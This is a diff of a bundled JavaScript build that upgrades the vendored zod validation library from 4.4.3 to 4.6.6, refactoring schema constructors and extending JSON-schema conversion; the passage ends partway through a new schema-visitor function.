_stringFormat(ZodCustomStringFormat, "currency_code", currencyCode, _params); } function hash(alg, params) { const enc = params?.enc ?? "hex"; @@ -67852,11 +72508,29 @@ function hash(alg, params) { throw new Error(`Unrecognized hash format: ${format}`); return _stringFormat(ZodCustomStringFormat, format, regex, params); } -var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { - $ZodNumber.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); - _installLazyMethods(inst, "ZodNumber", { +var ZodNumber = /* @__PURE__ */ $constructor( + "ZodNumber", + (inst, def) => { + $ZodNumber.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); + inst.isFinite = true; + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => { + const { minimum, exclusiveMinimum } = aggregateChecks(inst); + return Math.max(minimum ?? Number.NEGATIVE_INFINITY, exclusiveMinimum ?? Number.NEGATIVE_INFINITY); + }, + maxValue: (inst) => { + const { maximum, exclusiveMaximum } = aggregateChecks(inst); + return Math.min(maximum ?? Number.POSITIVE_INFINITY, exclusiveMaximum ?? Number.POSITIVE_INFINITY); + }, + isInt: (inst) => { + const { isInt, multipleOf } = aggregateChecks(inst); + return !!isInt || !!multipleOf?.some(Number.isSafeInteger); + }, + format: (inst) => aggregateChecks(inst).format ?? null + }, { gt(value, params) { return this.check(_gt(value, params)); }, @@ -67902,14 +72576,8 @@ var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { finite() { return this; } - }); - const bag = inst._zod.bag; - inst.minValue = Math.max(bag.minimum ?? Number.NEGATIVE_INFINITY, bag.exclusiveMinimum ?? Number.NEGATIVE_INFINITY) ?? null; - inst.maxValue = Math.min(bag.maximum ?? Number.POSITIVE_INFINITY, bag.exclusiveMaximum ?? Number.POSITIVE_INFINITY) ?? null; - inst.isInt = (bag.format ?? "").includes("int") || Number.isSafeInteger(bag.multipleOf ?? 0.5); - inst.isFinite = true; - inst.format = bag.format ?? null; -}); + }) +); function number2(params) { return _number(ZodNumber, params); } @@ -67940,28 +72608,53 @@ var ZodBoolean = /* @__PURE__ */ $constructor("ZodBoolean", (inst, def) => { function boolean2(params) { return _boolean(ZodBoolean, params); } -var ZodBigInt = /* @__PURE__ */ $constructor("ZodBigInt", (inst, def) => { - $ZodBigInt.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.gt = (value, params) => inst.check(_gt(value, params)); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.lt = (value, params) => inst.check(_lt(value, params)); - inst.lte = (value, params) => inst.check(_lte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - inst.positive = (params) => inst.check(_gt(BigInt(0), params)); - inst.negative = (params) => inst.check(_lt(BigInt(0), params)); - inst.nonpositive = (params) => inst.check(_lte(BigInt(0), params)); - inst.nonnegative = (params) => inst.check(_gte(BigInt(0), params)); - inst.multipleOf = (value, params) => inst.check(_multipleOf(value, params)); - const bag = inst._zod.bag; - inst.minValue = bag.minimum ?? null; - inst.maxValue = bag.maximum ?? null; - inst.format = bag.format ?? null; -}); +var ZodBigInt = /* @__PURE__ */ $constructor( + "ZodBigInt", + (inst, def) => { + $ZodBigInt.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => aggregateChecks(inst).minimum ?? null, + maxValue: (inst) => aggregateChecks(inst).maximum ?? null, + format: (inst) => aggregateChecks(inst).format ?? null + }, { + gte(value, params) { + return this.check(_gte(value, params)); + }, + min(value, params) { + return this.check(_gte(value, params)); + }, + gt(value, params) { + return this.check(_gt(value, params)); + }, + lt(value, params) { + return this.check(_lt(value, params)); + }, + lte(value, params) { + return this.check(_lte(value, params)); + }, + max(value, params) { + return this.check(_lte(value, params)); + }, + positive(params) { + return this.check(_gt(BigInt(0), params)); + }, + negative(params) { + return this.check(_lt(BigInt(0), params)); + }, + nonpositive(params) { + return this.check(_lte(BigInt(0), params)); + }, + nonnegative(params) { + return this.check(_gte(BigInt(0), params)); + }, + multipleOf(value, params) { + return this.check(_multipleOf(value, params)); + } + }) +); function bigint2(params) { return _bigint(ZodBigInt, params); } @@ -68031,41 +72724,51 @@ var ZodVoid = /* @__PURE__ */ $constructor("ZodVoid", (inst, def) => { function _void2(params) { return _void(ZodVoid, params); } -var ZodDate = /* @__PURE__ */ $constructor("ZodDate", (inst, def) => { - $ZodDate.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - const c = inst._zod.bag; - inst.minDate = c.minimum ? new Date(c.minimum) : null; - inst.maxDate = c.maximum ? new Date(c.maximum) : null; -}); -function date3(params) { +var ZodDate = /* @__PURE__ */ $constructor( + "ZodDate", + (inst, def) => { + $ZodDate.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); + inst.min = (value, params) => inst.check(_gte(value, params)); + inst.max = (value, params) => inst.check(_lte(value, params)); + }, + /* @__PURE__ */ util_exports.derived({ + minDate: (inst) => { + const { minimum } = aggregateChecks(inst); + return minimum ? new Date(minimum) : null; + }, + maxDate: (inst) => { + const { maximum } = aggregateChecks(inst); + return maximum ? new Date(maximum) : null; + } + }, {}) +); +function date2(params) { return _date(ZodDate, params); } var ZodArray = /* @__PURE__ */ $constructor("ZodArray", (inst, def) => { + _ensureDefaultMemoizer(); $ZodArray.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => arrayProcessor(inst, ctx, json3, params); inst.element = def.element; - _installLazyMethods(inst, "ZodArray", { - min(n, params) { - return this.check(_minLength(n, params)); - }, - nonempty(params) { - return this.check(_minLength(1, params)); - }, - max(n, params) { - return this.check(_maxLength(n, params)); - }, - length(n, params) { - return this.check(_length(n, params)); - }, - unwrap() { - return this.element; - } - }); +}, { + min(n, params) { + return this.check(_minLength(n, params)); + }, + nonempty(params) { + return this.check(_minLength(1, params)); + }, + max(n, params) { + return this.check(_maxLength(n, params)); + }, + length(n, params) { + return this.check(_length(n, params)); + }, + unwrap() { + return this.element; + } }); function array(element, params) { return _array(ZodArray, element, params); @@ -68075,53 +72778,54 @@ function keyof(schema) { return _enum2(Object.keys(shape)); } var ZodObject = /* @__PURE__ */ $constructor("ZodObject", (inst, def) => { + _ensureDefaultMemoizer(); $ZodObjectJIT.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => objectProcessor(inst, ctx, json3, params); - util_exports.defineLazy(inst, "shape", () => { - return def.shape; - }); - _installLazyMethods(inst, "ZodObject", { - keyof() { - return _enum2(Object.keys(this._zod.def.shape)); - }, - catchall(catchall) { - return this.clone({ ...this._zod.def, catchall }); - }, - passthrough() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - loose() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - strict() { - return this.clone({ ...this._zod.def, catchall: never() }); - }, - strip() { - return this.clone({ ...this._zod.def, catchall: void 0 }); - }, - extend(incoming) { - return util_exports.extend(this, incoming); - }, - safeExtend(incoming) { - return util_exports.safeExtend(this, incoming); - }, - merge(other) { - return util_exports.merge(this, other); - }, - pick(mask) { - return util_exports.pick(this, mask); - }, - omit(mask) { - return util_exports.omit(this, mask); - }, - partial(...args) { - return util_exports.partial(ZodOptional, this, args[0]); - }, - required(...args) { - return util_exports.required(ZodNonOptional, this, args[0]); - } - }); + util_exports.installLazyProp(inst, "shape", (self2) => self2._zod.def.shape, false); +}, { + keyof() { + return _enum2(Object.keys(this._zod.def.shape)); + }, + catchall(catchall) { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall })); + }, + passthrough() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + loose() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + strict() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: never() })); + }, + strip() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: void 0 })); + }, + extend(incoming) { + return util_exports.extend(this, incoming); + }, + safeExtend(incoming) { + return util_exports.safeExtend(this, incoming); + }, + merge(other) { + return util_exports.merge(this, other); + }, + pick(mask) { + return util_exports.pick(this, mask); + }, + omit(mask) { + return util_exports.omit(this, mask); + }, + partial(...args) { + return util_exports.partial(ZodOptional, this, args[0]); + }, + exactPartial(...args) { + return util_exports.partial(ZodExactOptional, this, args[0], "exactPartial"); + }, + required(...args) { + return util_exports.required(ZodNonOptional, this, args[0]); + } }); function object(shape, params) { const def = { @@ -68199,13 +72903,26 @@ function intersection(left, right) { }); } var ZodTuple = /* @__PURE__ */ $constructor("ZodTuple", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTuple.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => tupleProcessor(inst, ctx, json3, params); - inst.rest = (rest) => inst.clone({ - ...inst._zod.def, - rest - }); +}, { + rest(rest) { + return this.clone({ + ...this._zod.def, + rest + }); + }, + partial() { + const def = this._zod.def; + if (def.checks?.length) + throw new Error(".partial() cannot be used on tuple schemas containing refinements"); + return this.clone({ + ...def, + items: def.items.map((item) => new ZodOptional({ type: "optional", innerType: item })) + }); + } }); function tuple(items, _paramsOrRest, _params) { const hasRest = _paramsOrRest instanceof $ZodType; @@ -68219,6 +72936,7 @@ function tuple(items, _paramsOrRest, _params) { }); } var ZodRecord = /* @__PURE__ */ $constructor("ZodRecord", (inst, def) => { + _ensureDefaultMemoizer(); $ZodRecord.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => recordProcessor(inst, ctx, json3, params); @@ -68242,13 +72960,12 @@ function record(keyType, valueType, params) { }); } function partialRecord(keyType, valueType, params) { - const k = clone(keyType); - k._zod.values = void 0; return new ZodRecord({ type: "record", - keyType: k, + keyType, valueType, - ...util_exports.normalizeParams(params) + ...util_exports.normalizeParams(params), + partial: true }); } function looseRecord(keyType, valueType, params) { @@ -68261,6 +72978,7 @@ function looseRecord(keyType, valueType, params) { }); } var ZodMap = /* @__PURE__ */ $constructor("ZodMap", (inst, def) => { + _ensureDefaultMemoizer(); $ZodMap.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => mapProcessor(inst, ctx, json3, params); @@ -68280,6 +72998,7 @@ function map(keyType, valueType, params) { }); } var ZodSet = /* @__PURE__ */ $constructor("ZodSet", (inst, def) => { + _ensureDefaultMemoizer(); $ZodSet.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => setProcessor(inst, ctx, json3, params); @@ -68300,7 +73019,7 @@ var ZodEnum = /* @__PURE__ */ $constructor("ZodEnum", (inst, def) => { ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => enumProcessor(inst, ctx, json3, params); inst.enum = def.entries; - inst.options = Object.values(def.entries); + inst.options = [...inst._zod.values]; const keys = new Set(Object.keys(def.entries)); inst.extract = (values2, params) => { const newEntries = {}; @@ -68381,6 +73100,7 @@ function file(params) { return _file(ZodFile, params); } var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTransform.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => transformProcessor(inst, ctx, json3, params); @@ -68396,21 +73116,20 @@ var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = inst); payload.issues.push(util_exports.issue(_issue)); } }; - const output = def.transform(payload.value, payload); - if (output instanceof Promise) { - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = def.transform(payload.value, payload); + if (output2 instanceof Promise) { + return output2.then((output3) => { + payload.value = output3; return payload; }); } - payload.value = output; - payload.fallback = true; + payload.value = output2; return payload; }; }); @@ -68526,7 +73245,7 @@ function _catch2(innerType, catchValue) { return new ZodCatch({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : util_exports.constantCatch(catchValue) }); } var ZodNaN = /* @__PURE__ */ $constructor("ZodNaN", (inst, def) => { @@ -68663,8 +73382,15 @@ function superRefine(fn, params) { } var describe2 = describe; var meta2 = meta; +var ZodInstanceOf = /* @__PURE__ */ $constructor("ZodInstanceOf", (inst, def) => { + ZodCustom.init(inst, def); +}, { + properties(shape, params) { + return this.check(_properties(shape, params)); + } +}); function _instanceof(cls, params = {}) { - const inst = new ZodCustom({ + const inst = new ZodInstanceOf({ type: "custom", check: "custom", fn: (data) => data instanceof cls, @@ -68704,7 +73430,7 @@ function preprocess(fn, schema) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/compat.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/compat.js var ZodIssueCode = { invalid_type: "invalid_type", too_big: "too_big", @@ -68730,7 +73456,32 @@ var ZodFirstPartyTypeKind; /* @__PURE__ */ (function(ZodFirstPartyTypeKind2) { })(ZodFirstPartyTypeKind || (ZodFirstPartyTypeKind = {})); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/from-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/iso.js +var iso_exports = {}; +__export(iso_exports, { + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + date: () => date3, + datetime: () => datetime2, + duration: () => duration2, + time: () => time2 +}); +function datetime2(params) { + return _isoDateTime(ZodISODateTime, params); +} +function date3(params) { + return _isoDate(ZodISODate, params); +} +function time2(params) { + return _isoTime(ZodISOTime, params); +} +function duration2(params) { + return _isoDuration(ZodISODuration, params); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/from-json-schema.js var z = { ...schemas_exports2, ...checks_exports2, @@ -68820,6 +73571,12 @@ function detectVersion(schema, defaultTarget) { } return defaultTarget ?? "draft-2020-12"; } +function applyMinItems(items, minItems) { + return items.map((item, index2) => index2 < minItems ? item : item.optional()); +} +function decodeJSONPointerSegment(segment) { + return segment.replace(/~1/g, "/").replace(/~0/g, "~"); +} function resolveRef(ref, ctx) { if (!ref.startsWith("#")) { throw new Error("External $ref is not supported, only local refs (#/...) are allowed"); @@ -68830,7 +73587,7 @@ function resolveRef(ref, ctx) { } const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions"; if (path[0] === defsKey) { - const key = path[1]; + const key = path[1] === void 0 ? void 0 : decodeJSONPointerSegment(path[1]); if (!key || !ctx.defs[key]) { throw new Error(`Reference not found: ${ref}`); } @@ -68838,6 +73595,198 @@ function resolveRef(ref, ctx) { } throw new Error(`Reference not found: ${ref}`); } +function checkObjectGuards(objectSchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const value = payload.value; + if (typeof value !== "object" || value === null || Array.isArray(value)) + return; + const keys = Object.getOwnPropertyNames(value); + if (guards.minProperties !== void 0 && keys.length < guards.minProperties) { + payload.issues.push({ + origin: "object", + code: "too_small", + minimum: guards.minProperties, + inclusive: true, + message: `Too small: expected object to have >=${guards.minProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.maxProperties !== void 0 && keys.length > guards.maxProperties) { + payload.issues.push({ + origin: "object", + code: "too_big", + maximum: guards.maxProperties, + inclusive: true, + message: `Too big: expected object to have <=${guards.maxProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.keySchema) { + for (const key of keys) { + const result = guards.keySchema.safeParse(key); + if (result.success) + continue; + payload.issues.push({ + code: "invalid_key", + origin: "record", + issues: result.error.issues, + input: key, + path: [key], + continue: true + }); + } + } + }); + return guard.pipe(objectSchema); +} +function canonicalKey(value, seen) { + if (value === null) + return "z"; + const type = typeof value; + if (type !== "object") { + if (type === "number" && Number.isNaN(value)) + return null; + const raw = String(value); + return `${type[0]}${raw.length}:${raw}`; + } + if (seen.has(value)) + return null; + seen.add(value); + try { + if (Array.isArray(value)) { + const parts2 = []; + for (const item of value) { + const key = canonicalKey(item, seen); + if (key === null) + return null; + parts2.push(key); + } + return `a${parts2.length}:[${parts2.join(",")}]`; + } + const keys = Object.keys(value).sort(); + const parts = []; + for (const k of keys) { + const key = canonicalKey(value[k], seen); + if (key === null) + return null; + parts.push(`${k.length}:${k}=${key}`); + } + return `o${parts.length}:{${parts.join(",")}}`; + } finally { + seen.delete(value); + } +} +var SCHEMA_KEYWORDS = /* @__PURE__ */ new Set([ + "items", + "prefixItems", + "additionalItems", + "additionalProperties", + "contains", + "propertyNames", + "not", + "if", + "then", + "else", + "allOf", + "anyOf", + "oneOf", + "unevaluatedItems", + "unevaluatedProperties", + "contentSchema" +]); +var SCHEMA_MAP_KEYWORDS = /* @__PURE__ */ new Set([ + "properties", + "patternProperties", + "dependentSchemas", + "dependencies", + "$defs", + "definitions" +]); +function containsRef(value) { + if (typeof value !== "object" || value === null) + return false; + if (Array.isArray(value)) + return value.some(containsRef); + if (typeof value.$ref === "string") + return true; + return Object.entries(value).some(([key, sub]) => { + if (SCHEMA_KEYWORDS.has(key)) + return containsRef(sub); + if (!SCHEMA_MAP_KEYWORDS.has(key) || typeof sub !== "object" || sub === null) + return false; + return Object.values(sub).some(containsRef); + }); +} +function plural(n) { + return n === 1 ? "element" : "elements"; +} +function checkArrayGuards(arraySchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const items = payload.value; + if (!Array.isArray(items)) + return; + if (guards.uniqueItems === true) { + const firstSeen = /* @__PURE__ */ new Map(); + for (let i = 0; i < items.length; i++) { + const key = canonicalKey(items[i], /* @__PURE__ */ new Set()); + if (key === null) + continue; + const first = firstSeen.get(key); + if (first === void 0) { + firstSeen.set(key, i); + continue; + } + payload.issues.push({ + code: "custom", + message: `Array items must be unique: element at index ${i} duplicates the one at index ${first}`, + input: items, + path: [i], + continue: true + }); + } + } + if (guards.containsSchema) { + const minContains = guards.minContains ?? 1; + const ceiling = guards.maxContains !== void 0 ? guards.maxContains + 1 : Number.POSITIVE_INFINITY; + let matches = 0; + for (const item of items) { + if (guards.containsSchema.safeParse(item).success && ++matches >= ceiling) + break; + } + if (matches < minContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at least ${minContains} matching ${plural(minContains)}; found ${matches}`, + input: items, + continue: true + }); + } + if (guards.maxContains !== void 0 && matches > guards.maxContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at most ${guards.maxContains} matching ${plural(guards.maxContains)}`, + input: items, + continue: true + }); + } + } + }); + return guard.pipe(arraySchema); +} +function getTupleRest(restSchema, ctx) { + if (restSchema === false) { + return void 0; + } + if (restSchema === void 0 || restSchema === true) { + return z.any(); + } + return convertSchema(restSchema, ctx); +} +var fullTime = /^(?:[01]\d|2[0-3]):[0-5]\d:[0-5]\d(?:\.\d+)?(?:Z|[+-](?:[01]\d|2[0-3]):[0-5]\d)$/; function convertBaseSchema(schema, ctx) { if (schema.not !== void 0) { if (typeof schema.not === "object" && Object.keys(schema.not).length === 0) { @@ -68930,13 +73879,15 @@ function convertBaseSchema(schema, ctx) { } else if (format === "uuid" || format === "guid") { stringSchema = stringSchema.check(z.uuid()); } else if (format === "date-time") { - stringSchema = stringSchema.check(z.iso.datetime()); + stringSchema = stringSchema.check(z.iso.datetime({ offset: true })); } else if (format === "date") { stringSchema = stringSchema.check(z.iso.date()); } else if (format === "time") { - stringSchema = stringSchema.check(z.iso.time()); + stringSchema = stringSchema.check(z.regex(fullTime)); } else if (format === "duration") { stringSchema = stringSchema.check(z.iso.duration()); + } else if (format === "hostname") { + stringSchema = stringSchema.check(z.hostname()); } else if (format === "ipv4") { stringSchema = stringSchema.check(z.ipv4()); } else if (format === "ipv6") { @@ -68953,6 +73904,10 @@ function convertBaseSchema(schema, ctx) { stringSchema = stringSchema.check(z.base64url()); } else if (format === "e164") { stringSchema = stringSchema.check(z.e164()); + } else if (format === "credit_card") { + stringSchema = stringSchema.check(z.creditCard()); + } else if (format === "iban") { + stringSchema = stringSchema.check(z.iban()); } else if (format === "jwt") { stringSchema = stringSchema.check(z.jwt()); } else if (format === "emoji") { @@ -68986,10 +73941,10 @@ function convertBaseSchema(schema, ctx) { case "number": case "integer": { let numberSchema = type === "integer" ? z.number().int() : z.number(); - if (typeof schema.minimum === "number") { + if (typeof schema.minimum === "number" && schema.exclusiveMinimum !== true) { numberSchema = numberSchema.min(schema.minimum); } - if (typeof schema.maximum === "number") { + if (typeof schema.maximum === "number" && schema.exclusiveMaximum !== true) { numberSchema = numberSchema.max(schema.maximum); } if (typeof schema.exclusiveMinimum === "number") { @@ -69020,21 +73975,10 @@ function convertBaseSchema(schema, ctx) { const shape = {}; const properties = schema.properties || {}; const requiredSet = new Set(schema.required || []); + const additionalSchema = typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : void 0; for (const [key, propSchema] of Object.entries(properties)) { const propZodSchema = convertSchema(propSchema, ctx); - shape[key] = requiredSet.has(key) ? propZodSchema : propZodSchema.optional(); - } - if (schema.propertyNames) { - const keySchema = convertSchema(schema.propertyNames, ctx); - const valueSchema = schema.additionalProperties && typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : z.any(); - if (Object.keys(shape).length === 0) { - zodSchema = z.record(keySchema, valueSchema); - break; - } - const objectSchema2 = z.object(shape).passthrough(); - const recordSchema = z.looseRecord(keySchema, valueSchema); - zodSchema = z.intersection(objectSchema2, recordSchema); - break; + assignProp(shape, key, requiredSet.has(key) ? propZodSchema : propZodSchema.optional()); } if (schema.patternProperties) { const patternProps = schema.patternProperties; @@ -69061,15 +74005,51 @@ function convertBaseSchema(schema, ctx) { } zodSchema = result; } - break; - } - const objectSchema = z.object(shape); - if (schema.additionalProperties === false) { - zodSchema = objectSchema.strict(); - } else if (typeof schema.additionalProperties === "object") { - zodSchema = objectSchema.catchall(convertSchema(schema.additionalProperties, ctx)); + if (schema.additionalProperties === false) { + const propertyKeys = Object.keys(shape); + const patterns = patternKeys.map((p) => new RegExp(p)); + const basePatternSchema = zodSchema; + zodSchema = zodSchema.check((payload) => { + if (!isPlainObject(payload.value)) + return; + const unrecognized = []; + for (const key of Object.keys(payload.value)) { + if (propertyKeys.includes(key)) + continue; + if (patterns.some((regex) => regex.test(key))) + continue; + unrecognized.push(key); + } + if (unrecognized.length) { + payload.issues.push({ + code: "unrecognized_keys", + keys: unrecognized, + input: payload.value, + inst: basePatternSchema + }); + } + }); + } } else { - zodSchema = objectSchema.passthrough(); + const objectSchema = z.object(shape); + if (schema.additionalProperties === false) { + zodSchema = objectSchema.strict(); + } else if (additionalSchema) { + zodSchema = objectSchema.catchall(additionalSchema); + } else { + zodSchema = objectSchema.passthrough(); + } + } + const hasKeyGuard = schema.propertyNames !== void 0 && schema.propertyNames !== true; + const minProperties = typeof schema.minProperties === "number" ? schema.minProperties : void 0; + const maxProperties = typeof schema.maxProperties === "number" ? schema.maxProperties : void 0; + if (hasKeyGuard || minProperties !== void 0 || maxProperties !== void 0) { + let keySchema; + if (hasKeyGuard) { + const keyJSONSchema = typeof schema.propertyNames === "object" && schema.propertyNames.type === void 0 ? { type: "string", ...schema.propertyNames } : schema.propertyNames; + keySchema = convertSchema(keyJSONSchema, ctx); + } + zodSchema = checkObjectGuards(zodSchema, { keySchema, minProperties, maxProperties }); } break; } @@ -69077,13 +74057,12 @@ function convertBaseSchema(schema, ctx) { const prefixItems = schema.prefixItems; const items = schema.items; if (prefixItems && Array.isArray(prefixItems)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = prefixItems.map((item) => convertSchema(item, ctx)); - const rest = items && typeof items === "object" && !Array.isArray(items) ? convertSchema(items, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = !Array.isArray(items) ? getTupleRest(items, ctx) : void 0; + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -69091,13 +74070,12 @@ function convertBaseSchema(schema, ctx) { zodSchema = zodSchema.check(z.maxLength(schema.maxItems)); } } else if (Array.isArray(items)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = items.map((item) => convertSchema(item, ctx)); - const rest = schema.additionalItems && typeof schema.additionalItems === "object" ? convertSchema(schema.additionalItems, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = getTupleRest(schema.additionalItems, ctx); + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -69117,6 +74095,14 @@ function convertBaseSchema(schema, ctx) { } else { zodSchema = z.array(z.any()); } + if (schema.uniqueItems === true || schema.contains !== void 0) { + zodSchema = checkArrayGuards(zodSchema, { + uniqueItems: schema.uniqueItems === true, + containsSchema: schema.contains !== void 0 ? convertSchema(schema.contains, ctx) : void 0, + minContains: typeof schema.minContains === "number" ? schema.minContains : void 0, + maxContains: typeof schema.maxContains === "number" ? schema.maxContains : void 0 + }); + } break; } default: @@ -69174,9 +74160,27 @@ function convertSchema(schema, ctx) { extraMeta[key] = schema[key]; } } + if (schema.type === "object" && schema.$ref === void 0) { + if (schema.propertyNames !== void 0 && !containsRef(schema.propertyNames)) { + extraMeta.propertyNames = schema.propertyNames; + } + for (const key of ["minProperties", "maxProperties"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } + if (schema.type === "array" && schema.$ref === void 0) { + if (schema.contains !== void 0 && !containsRef(schema.contains)) { + extraMeta.contains = schema.contains; + } + for (const key of ["uniqueItems", "minContains", "maxContains"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } for (const key of Object.keys(schema)) { if (!RECOGNIZED_KEYS.has(key)) { - extraMeta[key] = schema[key]; + assignProp(extraMeta, key, schema[key]); } } if (Object.keys(extraMeta).length > 0) { @@ -69210,7 +74214,204 @@ function fromJSONSchema(schema, params) { return convertSchema(normalized, ctx); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/coerce.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/visit.js +var RESOLVING = Symbol("z.visit/resolving"); +function visit(schema, fnOrHandlers) { + const fn = typeof fnOrHandlers === "function" ? fnOrHandlers : (node2, rewritten) => { + const h = fnOrHandlers[node2._zod.def.type]; + return h ? h(node2, rewritten) : node2; + }; + const cache2 = /* @__PURE__ */ new Map(); + function run(s) { + const cached2 = cache2.get(s); + if (cached2 === RESOLVING) { + return new $ZodLazy({ + type: "lazy", + getter: () => cache2.get(s) + }); + } + if (cached2 !== void 0) + return cached2; + cache2.set(s, RESOLVING); + const inner = mapInner(s); + const mapped = fn(inner, inner !== s); + cache2.set(s, mapped); + return mapped; + } + function mapInner(s) { + const def = s._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const oldShape = def.shape; + const keys = Object.keys(oldShape); + let changed = false; + const newShape = {}; + for (const k of keys) { + const mapped = run(oldShape[k]); + if (mapped !== oldShape[k]) + changed = true; + newShape[k] = mapped; + } + let newCatchall = def.catchall; + if (def.catchall) { + newCatchall = run(def.catchall); + if (newCatchall !== def.catchall) + changed = true; + } + return changed ? clone(s, { ...def, shape: newShape, catchall: newCatchall }) : s; + } + case "array": { + const mapped = run(def.element); + return mapped === def.element ? s : clone(s, { ...def, element: mapped }); + } + case "tuple": { + const oldItems = def.items; + let changed = false; + const newItems = []; + for (const item of oldItems) { + const mapped = run(item); + if (mapped !== item) + changed = true; + newItems.push(mapped); + } + let newRest = def.rest; + if (def.rest) { + newRest = run(def.rest); + if (newRest !== def.rest) + changed = true; + } + return changed ? clone(s, { ...def, items: newItems, rest: newRest }) : s; + } + case "record": + case "map": { + const newKey = run(def.keyType); + const newVal = run(def.valueType); + return newKey === def.keyType && newVal === def.valueType ? s : clone(s, { ...def, keyType: newKey, valueType: newVal }); + } + case "set": { + const newVal = run(def.valueType); + return newVal === def.valueType ? s : clone(s, { ...def, valueType: newVal }); + } + case "union": { + const oldOptions = def.options; + let changed = false; + const newOptions = []; + for (const opt of oldOptions) { + const mapped = run(opt); + if (mapped !== opt) + changed = true; + newOptions.push(mapped); + } + return changed ? clone(s, { ...def, options: newOptions }) : s; + } + case "intersection": { + const newLeft = run(def.left); + const newRight = run(def.right); + return newLeft === def.left && newRight === def.right ? s : clone(s, { ...def, left: newLeft, right: newRight }); + } + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": { + const newInner = run(def.innerType); + return newInner === 